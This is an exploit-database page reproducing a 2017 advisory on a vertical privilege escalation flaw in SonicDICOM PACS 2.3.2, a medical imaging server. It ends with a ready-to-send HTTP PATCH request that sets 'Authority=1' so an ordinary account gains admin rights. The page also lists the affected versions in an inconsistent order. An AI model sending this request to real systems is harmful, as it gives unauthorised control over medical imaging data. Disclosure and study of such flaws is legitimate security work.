SonicDICOM PACS 2.3.2 Remote Vertical Privilege Escalation Exploit

vendor:

SonicDICOM PACS

by:

Gjoko 'LiquidWorm' Krstic

7,5

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: SonicDICOM PACS

Affected Version From: 2.3.2

Affected Version To: 2.3.1

Patch Exists: YES

Related CWE: N/A

CPE: a:jic:sonicdicom_pacs:2.3.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft-HTTPAPI/2.0

2017

SonicDICOM PACS 2.3.2 Remote Vertical Privilege Escalation Exploit

The application suffers from a privilege escalation vulnerability. Normal user can elevate his/her privileges by sending a HTTP PATCH request seting the parameter 'Authority' to integer value '1' gaining admin rights.

Mitigation:

Ensure that the application is configured to only allow authenticated users to access the application and that the application is configured to only allow users with the appropriate privileges to access the application.

Source

Exploit-DB raw data:

SonicDICOM PACS 2.3.2 Remote Vertical Privilege Escalation Exploit


Vendor: JIUN Corporation
Product web page: https://www.sonicdicom.com
Affected version: 2.3.2 and 2.3.1

Summary: SonicDICOM is PACS software that combines the capabilities of
DICOM Server with web browser based DICOM Viewer.

Desc: The application suffers from a privilege escalation vulnerability.
Normal user can elevate his/her privileges by sending a HTTP PATCH request
seting the parameter 'Authority' to integer value '1' gaining admin rights.

Tested on: Microsoft-HTTPAPI/2.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5396
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5396.php

22.11.2016

--

PATCH /viewer/api/accounts/update HTTP/1.1
Host: 172.19.0.214
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Escalation Browser/1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: {REMOVED_FOR_BREVITY}
Connection: close

Id=testingus&Name=peend&Authority=1